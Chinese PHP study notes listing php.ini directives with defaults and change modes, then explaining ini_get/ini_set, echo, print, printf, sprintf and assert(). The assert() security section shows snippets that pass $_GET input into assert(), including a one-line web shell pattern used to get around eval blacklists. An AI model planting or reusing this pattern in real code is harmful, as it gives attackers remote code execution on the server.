cgi.redirect_status_env NULL PHP_INI_SYSTEM 在PHP<= 5.2.0时是PHP_INI_ALL 从PHP4.2.0起可用
cgi.rfc2616_headers "0" PHP_INI_ALL 从PHP4.3.0起可用
child_terminate "0" PHP_INI_ALL 从PHP4.0.5起可用
cli.pager "" PHP_INI_ALL 从PHP5.4.0起可用
cli.prompt "\\b \\> " PHP_INI_ALL 从PHP5.4.0起可用
cli_server.color "0" PHP_INI_ALL 从PHP5.4.0起可用
coin_acceptor.autoreset 在 coin_acceptor 0.2 中移除该选项
coin_acceptor.auto_initialize "Off" PHP_INI_ALL 从coin_acceptor 0.2起可用
coin_acceptor.auto_reset "On" PHP_INI_ALL 从coin_acceptor 0.2起可用
coin_acceptor.command_function "Off" PHP_INI_ALL 从coin_acceptor 0.3起可用
coin_acceptor.delay_coins "53132" PHP_INI_ALL 从coin_acceptor 0.2起可用
coin_acceptor.delay_prom "55748" PHP_INI_ALL 从coin_acceptor 0.2起可用
coin_acceptor.lock_on_close "Off" PHP_INI_ALL 从coin_acceptor 0.2起可用
coin_acceptor.start_unlocked "On" PHP_INI_ALL 从coin_acceptor 0.2起可用
com.allow_dcom "0" PHP_INI_SYSTEM 从PHP4.0.5起可用
com.autoregister_casesensitive "1" PHP_INI_ALL 在PHP4时是PHP_INI_SYSTEM。从PHP4.1.0起可用
com.autoregister_typelib "0" PHP_INI_ALL 在PHP4时是PHP_INI_SYSTEM 从PHP4.1.0起可用
com.autoregister_verbose "0" PHP_INI_ALL 在PHP4时是PHP_INI_SYSTEM 从PHP4.1.0起可用
com.code_page "" PHP_INI_ALL 从PHP5.0.0起可用
com.typelib_file "" PHP_INI_SYSTEM 从PHP4.0.5起可用
date.default_latitude "31.7667" PHP_INI_ALL 从PHP5.0.0起可用
date.default_longitude "35.2333" PHP_INI_ALL 从PHP5.0.0起可用
date.sunrise_zenith "90.583333" PHP_INI_ALL 从PHP5.0.0起可用
date.sunset_zenith "90.583333" PHP_INI_ALL 从PHP5.0.0起可用
date.timezone "" PHP_INI_ALL 从PHP5.1.0起可用
dba.default_handler "" PHP_INI_ALL 从PHP4.3.3起可用
default_charset "" PHP_INI_ALL
default_mimetype "text/html" PHP_INI_ALL
default_socket_timeout "60" PHP_INI_ALL 从PHP4.3.0起可用
disable_classes "" php.ini only 从PHP4.3.2起可用
disable_functions "" php.ini only 从PHP4.0.1起可用
display_errors "1" PHP_INI_ALL
display_startup_errors "0" PHP_INI_ALL 从PHP4.0.3起可用
docref_ext "" PHP_INI_ALL 从PHP4.3.2起可用
docref_root "" PHP_INI_ALL 从PHP4.3.0起可用
doc_root NULL PHP_INI_SYSTEM
engine "1" PHP_INI_ALL 从PHP4.0.5起可用
error_append_string NULL PHP_INI_ALL
error_log NULL PHP_INI_ALL
error_prepend_string NULL PHP_INI_ALL
error_reporting NULL PHP_INI_ALL
exif.decode_jis_intel "JIS" PHP_INI_ALL 从PHP4.3.0起可用
exif.decode_jis_motorola "JIS" PHP_INI_ALL 从PHP4.3.0起可用
exif.decode_unicode_intel "UCS-2LE" PHP_INI_ALL 从PHP4.3.0起可用
exif.decode_unicode_motorola "UCS-2BE" PHP_INI_ALL 从PHP4.3.0起可用
exif.encode_jis "" PHP_INI_ALL 从PHP4.3.0起可用
exif.encode_unicode "ISO-8859-15" PHP_INI_ALL 从PHP4.3.0起可用
exit_on_timeout "" PHP_INI_ALL 从PHP5.3起可用。0
expect.logfile "" PHP_INI_ALL
expect.loguser "1" PHP_INI_ALL
expect.timeout "10" PHP_INI_ALL
expose_php "1" php.ini only
extension NULL php.ini only
extension_dir "/path/to/php" PHP_INI_SYSTEM
fastcgi.impersonate "0" PHP_INI_SYSTEM 在PHP<= 5.2.0时是PHP_INI_ALL 从PHP4.3.0起可用
fastcgi.logging "1" PHP_INI_SYSTEM 在PHP<= 5.2.0时是PHP_INI_ALL 从PHP4.4.0起可用
file_uploads "1" PHP_INI_SYSTEM 在PHP<= 4.2.3时是PHP_INI_ALL 从PHP4.0.3起可用
filter.default "unsafe_raw" PHP_INI_PERDIR 在 filter <= 0.9.4时是PHP_INI_ALL 从PHP5.2.0起可用
filter.default_flags NULL PHP_INI_PERDIR 在 filter <= 0.9.4时是PHP_INI_ALL 从PHP5.2.0起可用
from "" PHP_INI_ALL
gd.jpeg_ignore_warning "0" PHP_INI_ALL 从PHP5.1.3起可用
geoip.custom_directory NULL PHP_INI_ALL 从geoip 1.0.1起可用
hidef.ini_path (char*)default_ini_path PHP_INI_SYSTEM
highlight.comment "#FF8000" PHP_INI_ALL
highlight.default "#0000BB" PHP_INI_ALL
highlight.html "#000000" PHP_INI_ALL
highlight.keyword "#007700" PHP_INI_ALL
highlight.string "#DD0000" PHP_INI_ALL
html_errors "1" PHP_INI_ALL 在PHP<= 4.2.3时是PHP_INI_SYSTEM 从PHP4.0.2起可用
htscanner.config_file ".htaccess" PHP_INI_SYSTEM
htscanner.default_docroot "/" PHP_INI_SYSTEM
htscanner.default_ttl "300" PHP_INI_SYSTEM 从htscanner 0.6.0起可用
htscanner.stop_on_error "0" PHP_INI_SYSTEM 从htscanner 0.7.0起可用
http.etag.mode "MD5" PHP_INI_ALL 从pecl_http 1.0.0起可用
http.force_exit "1" PHP_INI_ALL 从pecl_http 0.18.0起可用
http.log.allowed_methods "" PHP_INI_ALL 从pecl_http 1.0.0起可用
http.log.cache "" PHP_INI_ALL 从pecl_http 1.0.0起可用
http.log.composite "" PHP_INI_ALL 从pecl_http 1.0.0起可用
http.log.not_found "" PHP_INI_ALL 从pecl_http 1.0.0起可用
http.log.redirect "" PHP_INI_ALL 从pecl_http 1.0.0起可用
http.only_exceptions "0" PHP_INI_ALL 从pecl_http 0.11.0起可用
http.persistent.handles.ident "GLOBAL" PHP_INI_ALL 从pecl_http 1.5.0起可用
http.persistent.handles.limit "-1" PHP_INI_SYSTEM 从pecl_http 1.5.0起可用
http.request.datashare.connect "0" PHP_INI_SYSTEM 从pecl_http 1.3.0起可用
http.request.datashare.cookie "0" PHP_INI_SYSTEM 从pecl_http 1.3.0起可用
http.request.datashare.dns "1" PHP_INI_SYSTEM 从pecl_http 1.3.0起可用
http.request.datashare.ssl "0" PHP_INI_SYSTEM 从pecl_http 1.3.0起可用
http.request.methods.allowed "" PHP_INI_ALL 从pecl_http 1.0.0起可用
http.request.methods.custom "" PHP_INI_PERDIR 从pecl_http 1.0.0起可用
http.send.deflate.start_auto "0" PHP_INI_PERDIR 从pecl_http 1.0.0起可用
http.send.deflate.start_flags "0" PHP_INI_ALL 从pecl_http 1.0.0起可用
http.send.inflate.start_auto "0" PHP_INI_PERDIR 从pecl_http 1.0.0起可用
http.send.inflate.start_flags "0" PHP_INI_ALL 从pecl_http 1.0.0起可用
http.send.not_found_404 "1" PHP_INI_ALL 从pecl_http 1.0.0起可用
iconv.input_encoding "ISO-8859-1" PHP_INI_ALL 从PHP4.0.5起可用
iconv.internal_encoding "ISO-8859-1" PHP_INI_ALL 从PHP4.0.5起可用
iconv.output_encoding "ISO-8859-1" PHP_INI_ALL 从PHP4.0.5起可用
ignore_repeated_errors "0" PHP_INI_ALL 从PHP4.3.0起可用
ignore_repeated_source "0" PHP_INI_ALL 从PHP4.3.0起可用
ignore_user_abort "0" PHP_INI_ALL
imlib2.font_cache_max_size "524288" PHP_INI_ALL
imlib2.font_path "/usr/share/php/fonts/" PHP_INI_ALL
implicit_flush "0" PHP_INI_ALL 在PHP<= 4.2.3时是PHP_INI_PERDIR
include_path ".;/path/to/php/pear" PHP_INI_ALL
last_modified "0" PHP_INI_ALL 从PHP4.0.5起可用
ldap.max_links "-1" PHP_INI_SYSTEM
log_errors "0" PHP_INI_ALL
log_errors_max_len "1024" PHP_INI_ALL 从PHP4.3.0起可用
mail.add_x_header "0" PHP_INI_PERDIR 从PHP5.3.0起可用
mail.force_extra_parameters NULL php.ini only 从PHP5.0.0起可用
mail.log "" PHP_INI_ALL 从PHP5.3.0起可用
maxdb.default_db NULL PHP_INI_ALL
maxdb.default_host NULL PHP_INI_ALL
maxdb.default_pw NULL PHP_INI_ALL
maxdb.default_user NULL PHP_INI_ALL
maxdb.long_readlen "200" PHP_INI_ALL
max_execution_time "30" PHP_INI_ALL
max_input_nesting_level "64" PHP_INI_PERDIR 从PHP4.4起可用。8 and PHP 5.2.3.
max_input_vars 1000 PHP_INI_PERDIR 从PHP5.3.9起可用
max_input_time "-1" PHP_INI_PERDIR 从PHP4.3.0起可用
memcache.allow_failover "1" PHP_INI_ALL 从memcache 2.0.2起可用
memcache.chunk_size "8192" PHP_INI_ALL 从memcache 2.0.2起可用
memcache.default_port "11211" PHP_INI_ALL 从memcache 2.0.2起可用
memcache.hash_function "crc32" PHP_INI_ALL 从memcache 2.2.0起可用
memcache.hash_strategy "standard" PHP_INI_ALL 从memcache 2.2.0起可用
memcache.max_failover_attempts "20" PHP_INI_ALL 从memcache 2.1.0起可用
memory_limit "128M" PHP_INI_ALL
mime_magic.debug "0" PHP_INI_SYSTEM 从PHP5.0.0起可用
mime_magic.magicfile "/path/to/php/magic.mime" PHP_INI_SYSTEM 从PHP4.3.0起可用
msql.allow_persistent "1" PHP_INI_ALL
msql.max_links "-1" PHP_INI_ALL
msql.max_persistent "-1" PHP_INI_ALL
mssql.allow_persistent "1" PHP_INI_SYSTEM
mssql.batchsize "0" PHP_INI_ALL 从PHP4.0.4起可用
mssql.charset "" PHP_INI_ALL 从PHP5.1.2起可用
mssql.compatability_mode "0" PHP_INI_ALL
mssql.connect_timeout "5" PHP_INI_ALL
mssql.datetimeconvert "1" PHP_INI_ALL 从PHP4.2.0起可用
mssql.max_links "-1" PHP_INI_SYSTEM
mssql.max_persistent "-1" PHP_INI_SYSTEM
mssql.max_procs "-1" PHP_INI_ALL 从PHP4.3.0起可用
mssql.min_error_severity "10" PHP_INI_ALL
mssql.min_message_severity "10" PHP_INI_ALL
mssql.secure_connection "0" PHP_INI_SYSTEM 从PHP4.3.0起可用
mssql.textlimit "-1" PHP_INI_ALL
mssql.textsize "-1" PHP_INI_ALL
mssql.timeout "60" PHP_INI_ALL 从PHP4.1.0起可用
mysql.allow_persistent "1" PHP_INI_SYSTEM
mysql.connect_timeout "60" PHP_INI_ALL 在PHP<= 4.3.2时是PHP_INI_SYSTEM 从PHP4.3.0起可用
mysql.default_host NULL PHP_INI_ALL
mysql.default_password NULL PHP_INI_ALL
mysql.default_port NULL PHP_INI_ALL
mysql.default_socket NULL PHP_INI_ALL 从PHP4.0.1起可用
mysql.default_user NULL PHP_INI_ALL
mysql.max_links "-1" PHP_INI_SYSTEM
mysql.max_persistent "-1" PHP_INI_SYSTEM
mysql.trace_mode "0" PHP_INI_ALL 从PHP4.3.0起可用
mysqli.default_host NULL PHP_INI_ALL 从PHP5.0.0起可用
mysqli.default_port "3306" PHP_INI_ALL 从PHP5.0.0起可用
mysqli.default_pw NULL PHP_INI_ALL 从PHP5.0.0起可用
mysqli.default_socket NULL PHP_INI_ALL 从PHP5.0.0起可用
mysqli.default_user NULL PHP_INI_ALL 从PHP5.0.0起可用
mysqli.max_links "-1" PHP_INI_SYSTEM 从PHP5.0.0起可用
mysqli.reconnect "0" PHP_INI_SYSTEM 从PHP5.0.0起可用
namazu.debugmode "0" PHP_INI_ALL
namazu.lang NULL PHP_INI_ALL
namazu.loggingmode "0" PHP_INI_ALL
namazu.sortmethod NULL PHP_INI_ALL
namazu.sortorder NULL PHP_INI_ALL
nsapi.read_timeout "60" PHP_INI_ALL 从PHP4.3.3起可用
oci8.default_prefetch "10" PHP_INI_SYSTEM 从PHP5.1.2起可用
oci8.max_persistent "-1" PHP_INI_SYSTEM 从PHP5.1.2起可用
oci8.old_oci_close_semantics "0" PHP_INI_SYSTEM 从PHP5.1.2起可用
oci8.persistent_timeout "-1" PHP_INI_SYSTEM 从PHP5.1.2起可用
oci8.ping_interval "60" PHP_INI_SYSTEM 从PHP5.1.2起可用
oci8.privileged_connect "0" PHP_INI_SYSTEM 从PHP5.1.2起可用
oci8.statement_cache_size "20" PHP_INI_SYSTEM 从PHP5.1.2起可用
odbc.allow_persistent "1" PHP_INI_SYSTEM
odbc.check_persistent "1" PHP_INI_SYSTEM
odbc.defaultbinmode "1" PHP_INI_ALL
odbc.defaultlrl "4096" PHP_INI_ALL
odbc.default_db NULL PHP_INI_ALL
odbc.default_pw NULL PHP_INI_ALL
odbc.default_user NULL PHP_INI_ALL
odbc.max_links "-1" PHP_INI_SYSTEM
odbc.max_persistent "-1" PHP_INI_SYSTEM
odbtp.datetime_format "object" PHP_INI_ALL
odbtp.detach_default_queries "0" PHP_INI_ALL
odbtp.guid_format "string" PHP_INI_ALL 从odbtp 1.1.3起可用
odbtp.interface_file "/usr/local/share/odbtp.conf" PHP_INI_ALL
odbtp.truncation_errors "1" PHP_INI_ALL
opendirectory.max_refs "-1" PHP_INI_ALL
opendirectory.separator "/" PHP_INI_ALL 从opendirectory 0.2.2起可用
open_basedir NULL PHP_INI_ALL 在PHP< 5.2.3时是PHP_INI_SYSTEM
output_buffering "0" PHP_INI_PERDIR
output_handler NULL PHP_INI_PERDIR 从PHP4.0.4起可用
pam.servicename "php" PHP_INI_ALL
pcre.backtrack_limit "1000000" PHP_INI_ALL 从PHP5.2.0起可用
pcre.recursion_limit "100000" PHP_INI_ALL 从PHP5.2.0起可用
pdo.dsn.* php.ini only 从PHP5.1.0起可用
pdo_odbc.connection_pooling "strict" PHP_INI_ALL 从PHP5.1.0起可用
pgsql.allow_persistent "1" PHP_INI_SYSTEM
pgsql.auto_reset_persistent "0" PHP_INI_SYSTEM 从PHP4.2.0起可用
pgsql.ignore_notice "0" PHP_INI_ALL 从PHP4.3.0起可用
pgsql.log_notice "0" PHP_INI_ALL 从PHP4.3.0起可用
pgsql.max_links "-1" PHP_INI_SYSTEM
pgsql.max_persistent "-1" PHP_INI_SYSTEM
phar.extract_list "" PHP_INI_ALL 从phar 1.1.0起可用
phar.readonly "1" PHP_INI_ALL
phar.require_hash "1" PHP_INI_ALL
enable_post_data_reading On PHP_INI_PERDIR 从PHP5.4.0起可用
post_max_size "8M" PHP_INI_PERDIR 在PHP<= 4.2.3时是PHP_INI_SYSTEM 从PHP4.0.3起可用
precision "14" PHP_INI_ALL
realpath_cache_size "16K" PHP_INI_SYSTEM 从PHP5.1.0起可用
realpath_cache_ttl "120" PHP_INI_SYSTEM 从PHP5.1.0起可用
register_argc_argv "1" PHP_INI_PERDIR 在PHP<= 4.2.3时是PHP_INI_ALL
report_memleaks "1" PHP_INI_ALL 从PHP4.3.0起可用
report_zend_debug "1" PHP_INI_ALL 从PHP5.0.0起可用
request_order "" PHP_INI_PERDIR 在PHP5.3.0 时增加
runkit.internal_override "0" PHP_INI_SYSTEM
runkit.superglobal "" PHP_INI_PERDIR
sendmail_from NULL PHP_INI_ALL
sendmail_path "/usr/sbin/sendmail -t -i" PHP_INI_SYSTEM
session.auto_start "0" PHP_INI_ALL
session.cache_expire "180" PHP_INI_ALL
session.cache_limiter "nocache" PHP_INI_ALL
session.cookie_domain "" PHP_INI_ALL
session.cookie_httponly "" PHP_INI_ALL 从PHP5.2.0起可用
session.cookie_lifetime "0" PHP_INI_ALL
session.cookie_path "/" PHP_INI_ALL
session.cookie_secure "" PHP_INI_ALL 从PHP4.0.4起可用
session.entropy_file "" PHP_INI_ALL
session.entropy_length "0" PHP_INI_ALL
session.gc_dividend "100" PHP_INI_ALL 从PHP4.3.0起可用 在PHP4.3.2中移除该选项
session.gc_divisor "100" PHP_INI_ALL 从PHP4.3.2起可用
session.gc_maxlifetime "1440" PHP_INI_ALL
session.gc_probability "1" PHP_INI_ALL
session.hash_bits_per_character "4" PHP_INI_ALL 从PHP5.0.0起可用
session.hash_function "0" PHP_INI_ALL 从PHP5.0.0起可用
session.name "PHPSESSID" PHP_INI_ALL
session.referer_check "" PHP_INI_ALL
session.save_handler "files" PHP_INI_ALL
session.save_path "" PHP_INI_ALL
session.serialize_handler "php" PHP_INI_ALL
session.use_cookies "1" PHP_INI_ALL
session.use_only_cookies "1" PHP_INI_ALL 从PHP4.3.0起可用
session.use_trans_sid "0" PHP_INI_ALL 在PHP < = 4.2.3是PHP_INI_ALL,在PHP < 5时是PHP_INI_PERDIR 从PHP4.0.3起可用
session_pgsql.create_table "1" PHP_INI_SYSTEM
session_pgsql.db "host=localhost dbname=php_session user=nobody" PHP_INI_SYSTEM
session_pgsql.disable "0" PHP_INI_SYSTEM
session_pgsql.failover_mode "0" PHP_INI_SYSTEM
session_pgsql.gc_interval "3600" PHP_INI_SYSTEM
session_pgsql.keep_expired "0" PHP_INI_SYSTEM
session_pgsql.sem_file_name "/tmp/php_session_pgsql" PHP_INI_SYSTEM
session_pgsql.serializable "0" PHP_INI_SYSTEM
session_pgsql.short_circuit "0" PHP_INI_SYSTEM
session_pgsql.use_app_vars "0" PHP_INI_SYSTEM
session_pgsql.vacuum_interval "21600" PHP_INI_SYSTEM
short_open_tag "1" PHP_INI_ALL 在PHP4.0.0时是PHP_INI_ALL 在PHP < 5.3.0时是PHP_INI_PERDIR
simple_cvs.authMethod "0" PHP_INI_ALL
simple_cvs.compressionLevel "0" PHP_INI_ALL
simple_cvs.cvsRoot "0" PHP_INI_ALL
simple_cvs.host "0" PHP_INI_ALL
simple_cvs.moduleName "0" PHP_INI_ALL
simple_cvs.userName "0" PHP_INI_ALL
simple_cvs.workingDir "0" PHP_INI_ALL
SMTP "localhost" PHP_INI_ALL
smtp_port "25" PHP_INI_ALL 从PHP4.3.0起可用
soap.wsdl_cache "1" PHP_INI_ALL 从PHP5.1.5起可用
soap.wsdl_cache_dir "/tmp" PHP_INI_ALL 从PHP5.0.0起可用
soap.wsdl_cache_enabled "1" PHP_INI_ALL 从PHP5.0.0起可用
soap.wsdl_cache_limit "5" PHP_INI_ALL 从PHP5.1.5起可用
soap.wsdl_cache_ttl "86400" PHP_INI_ALL 从PHP5.0.0起可用
sql.safe_mode "0" PHP_INI_SYSTEM
sqlite.assoc_case "0" PHP_INI_ALL 从PHP5.0.0起可用
sybase.allow_persistent "1" PHP_INI_ALL 在PHP<= 4.0.2时是PHP_INI_ALL 在PHP<= 4.0.3时是PHP_INI_SYSTEM
sybase.hostname NULL PHP_INI_ALL 在PHP4.0.2 中移除该选项
sybase.interface_file "" PHP_INI_ALL
sybase.login_timeout "0" PHP_INI_ALL 在PHP4.0.2 中移除该选项
sybase.max_links "-1" PHP_INI_ALL 在PHP<= 4.0.2时是PHP_INI_ALL 在PHP<=4.0.3时是PHP_INI_SYSTEM
sybase.max_persistent "-1" PHP_INI_ALL 在PHP<= 4.0.2时是PHP_INI_ALL 在PHP<=4.0.3时是PHP_INI_SYSTEM
sybase.min_client_severity "10" PHP_INI_ALL 在PHP4.0.2中移除该选项
sybase.min_error_severity "10" PHP_INI_ALL
sybase.min_message_severity "10" PHP_INI_ALL
sybase.min_server_severity "10" PHP_INI_ALL 在PHP4.0.2中移除该选项
sybase.timeout "0" PHP_INI_ALL 在PHP4.0.2 中移除该选项
sybct.deadlock_retry_count "0" PHP_INI_ALL 从PHP4.3.0起可用
sybct.login_timeout "-1" PHP_INI_ALL 从PHP4.0.2起可用
sybct.packet_size "0" PHP_INI_ALL 从PHP4.3.5起可用
sybct.timeout "0" PHP_INI_ALL 从PHP4.0.2起可用
sysvshm.init_mem "10000" PHP_INI_ALL
tidy.clean_output "0" PHP_INI_USER 在PHP5时是PHP_INI_PERDIR 从PHP5.0.0起可用
tidy.default_config "" PHP_INI_SYSTEM 从PHP5.0.0起可用
track_errors "0" PHP_INI_ALL
track_vars "1" PHP_INI_ALL 在PHP4.0.3 中移除该选项
unserialize_callback_func NULL PHP_INI_ALL 从PHP4.2.0起可用
uploadprogress.file.filename_template "/tmp/upt_%s.txt" PHP_INI_ALL
upload_max_filesize "2M" PHP_INI_PERDIR 在PHP<= 4.2.3时是PHP_INI_ALL
max_file_uploads 20 PHP_INI_SYSTEM 从PHP5.2.12起可用
upload_tmp_dir NULL PHP_INI_SYSTEM
url_rewriter.tags "a=href,area=href,frame=src,form=,fieldset=" PHP_INI_ALL 从PHP4.0.4起可用
user_agent NULL PHP_INI_ALL 从PHP4.3.0起可用
user_dir NULL PHP_INI_SYSTEM
user_ini.cache_ttl "300" PHP_INI_SYSTEM 从PHP5.3.0起可用
user_ini.filename ".user.ini" PHP_INI_SYSTEM 从PHP5.3.0起可用
zlib.output_compression "0" PHP_INI_ALL 从PHP4.0.5起可用
zlib.output_compression_level "-1" PHP_INI_ALL 从PHP4.3.0起可用
zlib.output_handler "" PHP_INI_ALL 从PHP4.3.0起可用
【 ini_get_all() 】
array ini_get_all ([ string $extension [,bool $details = true ]] )
获取所有已注册的配置选项
参数extension 可选的扩展名称。如果设置了,此函数仅仅返回指定该扩展的选项
参数details 获取详细设置或仅仅是每个设置的当前值 默认是 TRUE(获取详细信息)
返回一个关联数组,指令名称是数组的键
当details为TRUE(默认)数组会包含global_value(php.ini 中的设置)、local_value(可能是 ini_set()或.htaccess 中的设置)以及access(访问级别)
当details为FALSE这个值会是选项的当前值
print_r(ini_get_all("pcre"));
print_r(ini_get_all());
print_r(ini_get_all("pcre",false));
print_r(ini_get_all(null,false));
【 ini_restore() 】
void ini_restore ( string $varname )
恢复指定的配置选项到它的原始值
【 ini_get() 】
string ini_get ( string $varname )
获取一个配置选项的值,成功则返回配置选项值的字符串,null的值则返回空字符串。如果配置选项不存在将会返回FALSE
ini_get('post_max_size')
ini_get('display_errors')
【 ini_set() 】
string ini_set ( string $varname ,string $newvalue )
设置指定配置选项的值,这个选项会在脚本运行时保持新的值,并在脚本结束时恢复;成功时返回旧的值,失败时返回FALSE
if (!ini_get('display_errors')) ini_set('display_errors','1');
检测开发环境
输出
【 echo 】
echo用于输出一个或多个字符串,不换行,多个字符串逗号分隔,接受参数列表,并且没有返回值
不一定要使用小括号来指明参数,如果想给echo传递多个参数就不能使用小括号
如果输出对象非字符串则会尝试将对象转成字符串,转化失败则抛出异常
echo属于语法结构,而非函数
echo('string');
【 assert() 】
编写代码时总是会做出一些假设,断言就是用于在代码中捕捉这些假设,可以将断言看作是异常处理的一种高级形式。程序员断言在程序中的某个特定点该的表达式值为真。如果该表达式为假就中断操作。
可以在任何时候启用和禁用断言验证,因此可以在测试时启用断言,而在部署时禁用断言。同样,程序投入运行后最终用户在遇到问题时可以重新起用断言。
使用断言可以创建更稳定,品质更好且不易于出错的代码。单元测试必须使用断言
assertion是字符串的优势是当禁用断言时它的开销会更小,并且在断言失败时消息会包含 assertion 表达式。这意味着如果传入了boolean的条件作为assertion,这个条件将不会显示为断言函数的参数;在调用你定义的assert_options()处理函数时,条件会转换为字符串,而布尔值false会被转换成空字符串。
断言功能应该只被用来调试,应该用于完整性检查时测试条件是否始终应该为true,来指示某些程序错误,或者检查具体功能的存在(类似扩展函数或特定的系统限制和功能)。
断言不应该用于普通运行时操作,类似输入参数的检查。作为一个经验法则,在断言禁用时你的代码也应该能够正确地运行
bool assert ( mixed $assertion [, string $description ] ) # PHP5
bool assert ( mixed $assertion [, Throwable $exception ] ) # PHP7
检查一个断言是否为false,如果assertion失败选项description将会包括在失败信息里
var_dump(assert('1==2')); // bool(true)
// 断言操作选项函数
assert_options(ASSERT_ACTIVE, 1); // 默认是打开断言的
assert('1==2'); // Warning: assert(): Assertion "1==2" failed in D:\wamp\www\XF9_Trunk_Website3.0\new\Public\index.php on line 3
echo 555555555555; // 默认继续执行,对于调试很好,尤其是可以使用callback,但生产环境就不建议使用了。
assert()会检查指定的assertion并在结果为FALSE时采取适当的行动,视assert_options而定
assert_options
'ASSERT_ACTIVE=1' // Assert函数的开关
'ASSERT_WARNING =1' // 当表达式为false时,是否要输出警告性的错误提示,issue a PHP warning for each failed assertion
'ASSERT_BAIL= 0' // 是否要中止运行;terminate execution on failed assertions
'ASSERT_QUIET_EVAL= 0' // 是否关闭错误提示,在执行表达式时;disable error_reporting during assertion expression evaluation
'ASSERT_CALLBACK= (NULL)' // 是否启动回调函数 user function to call on failed assertions
// Active assert and make it quiet
assert_options(ASSERT_ACTIVE, 1);
assert_options(ASSERT_WARNING, 0);
assert_options(ASSERT_QUIET_EVAL, 1);
// Create a handler function
function my_assert_handler($file, $line, $code){
echo "< hr>Assertion Failed:File '$file'< br />Line '$line'< br />Code '$code'< br />< hr />";
}
// Set up the callback
assert_options(ASSERT_CALLBACK, 'my_assert_handler');
// Make an assertion that should fail
assert('mysql_query("")');
安全性
function fo(){
file_put_contents('a.php','www.bo56.com');
return true;
}
$func = $_GET["func"];
assert("$func()");
如果assertion是字符串,它将会被assert()当做PHP代码来执行。跟eval()类似,不过eval($assertion)只是执行符合php编码规范的$code_str。
assert(),检测一个断言是否为FALSE;因为eval列入了黑名单,所以用assert替代其
if(isset($_GET['wy'])){
$wy=$_GET['wy'];
assert("$wy;");
}
【 print 】
print属于语法结构,而非函数(同echo)
print一次只能接受一个字符串,并总是返回1(区分与echo),其他效果同echo
print 'hello world';
【 print_r(); 】
print_r ( mixed $expression [, bool $return = FALSE ] ) : mixed
以人类易读的格式显示一个变量的信息,不包括变量类型信息,一次仅允许打印一个变量(区别于echo)
print_r()、var_dump()、var_export()都会显示对象protected和private的属性,Class的static静态属性则不会显示
return参数TRUE时print_r()会直接返回string信息,而不是输出,否则返回TRUE
当使用了return参数时,本函数使用其内部输出缓冲,因此不能在ob_start()回调函数的内部使用
格式化print_r的输出结果到浏览器【 var_dump() 】 var_dump(变量1, 变量2) 打印一个或多个表达式的结构信息,输出包括类型与值,print_r只打印一个表达式且不显示类型
【 printf() 】 int printf ( string $format [,mixed $args [,mixed $... ]] ) 依据format格式(参照sprintf函数参数)参数输出格式化字符串,用于直接格式化输出到标准输出的场景 arg1、arg2、arg++参数将被插入到主字符串中的百分号%符号处,该函数是逐步执行的,在第一个%符号处插入arg1,在第二个%符号处插入arg2,依此类推 如果%符号多于arg参数则必须使用占位符。占位符被插入到%符号之后,由数字和"\$"组成
【 sprintf() 】 string sprintf ( string $format [,mixed $args [,mixed $... ]] ) 用于格式化字符串场景,字符串以变量形式返回 跟printf相似,但不打印,而是返回格式化后的文字 参数描述 format 必需,规定字符串以及如何格式化其中的变量。 可能的格式值: %% - 返回一个百分号 % %b - 二进制数 %c -ASCII值对应的字符 %d - 包含正负号的十进制数(负数、0、正数) %e - 使用小写的科学计数法(例如1.2e+2) %E - 使用大写的科学计数法(例如1.2E+2) %u - 不包含正负号的十进制数(大于等于0) %f - 浮点数(本地设置),默认自带六位小数 %F - 浮点数(非本地设置) %g - 较短的%e和%f %G - 较短的%E和%f %o - 八进制数 %s - 字符串 %x - 十六进制数(小写字母) %X - 十六进制数(大写字母) 附加的格式值。必需放置在 % 和字母之间(例如 %.2f): + (在数字前面加上 + 或 - 来定义数字的正负性。默认情况下只有负数才做标记,正数不做标记) ' (规定使用什么作为填充,默认是空格。它必须与宽度指定器一起使用。例如: %'x20s(使用 "x" 作为填充) - (左调整变量值) [0-9] (规定变量值的最小宽度) .[0-9] (规定小数位数或最大字符串长度) 如果使用多个上述的格式值,它们必须按照以上顺序使用。 arg1 必需,规定插到format字符串中第一个%符号处的参数。 arg2 可选,规定插到format字符串中第二个%符号处的参数。 arg++ 可选,规定插到format字符串中第三、四等%符号处的参数。 可以在"%"和字母之间插进数字表示最大场宽。 ①%3d表示输出3位整型数,不够3位右对齐。 ②%9.2f表示输出场宽为9的浮点数,其中小数位为2,整数位为6,小数点占一位,不够9位右对齐。 ③%8s表示输出8个字符的字符串,不够8个字符右对齐。 ④如果字符串的长度、或整型数位数超过说明的场宽,将按其实际长度输出。 ⑤浮点数,若整数部分位数超过了说明的整数位宽度,将按实际整数位输出; ⑥小数部分位数超过了说明的小数位宽度,则按说明的宽度以四舍五入输出。 ⑦若想在输出值前加一些0,就应在场宽项前加个0。 %04d表示在输出一个小于4位的数值时,将在前面补0使其总宽度为4位。 ⑧如果用浮点数表示字符或整型量的输出格式,小数点后的数字代表最大宽度,小数点前的数字代表最小宽度。 %6.9s表示显示一个长度不小于6且不大于9的字符串。若大于9,则第9个字符以后的内容将被删除。 可以在"%"和字母之间加小写字母l,表示输出的是长型数。 ①%ld表示输出long整数 ②%lf表示输出double浮点数 可以控制输出左对齐或右对齐,即在"%"和字母之间加入一个"-" 号可说明输出为左对齐,否则为右对齐。 ①%-7d表示输出7位整数左对齐 ②%-10s表示输出10个字符左对齐 一些特殊规定字符 ①\n 换行 ②\f 清屏并换页 ③\r 回车 ④\t Tab符 ⑤\xhh 表示一个ASCII码用16进表示 ⑥其中hh是1到2个16进制数
【 fprintf() 】 fprintf(stream,format,arg1[,arg2,arg++]) int fprintf ( resource $handle ,string $format [,mixed $args [,mixed $... ]] ) 写入一个根据format格式化后的字符串到由handle句柄打开的流中,如文件、数据库,返回写入的字符串长度。 stream规定在何处写入或输出字符串 参数handle表示文件系统指针,是典型地由fopen()创建的resource(资源) 参数format参见sprintf()中对format描述
